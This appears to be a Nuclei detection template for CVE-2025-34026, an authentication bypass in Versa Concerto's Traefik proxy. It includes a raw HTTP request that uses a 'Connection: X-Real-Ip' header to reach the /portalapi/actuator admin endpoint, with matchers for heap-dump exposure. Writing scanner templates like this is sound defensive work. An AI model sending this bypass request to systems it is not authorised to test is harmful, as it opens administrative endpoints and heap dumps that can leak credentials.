id: CVE-2025-34026

info:
  name: "Versa - Authentication Bypass"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    The Versa Concerto SD-WAN orchestration platform is vulnerable to an authentication bypass in the Traefik
    reverse proxy configuration, allowing at attacker to access administrative endpoints. The internal Actuator
    endpoint can be leveraged for access to heap dumps and trace logs.This issue is known to affect Concerto from
    12.1.2 through 12.2.0.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2025-34026&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=versa&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2025-34026
    cwe-id: CWE-288
  metadata:
    verified: false
  tags: versa,concerto,actuator,auth-bypass,springboot,cve,cve2025,vkev,vuln,kev
http:
  - raw:
      - |
        GET /portalapi/actuator HTTP/1.1
        Host: {{Hostname}}
        Connection: X-Real-Ip

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - heapdump

      - type: word
        part: header
        words:
          - EECP-CSRF-TOKEN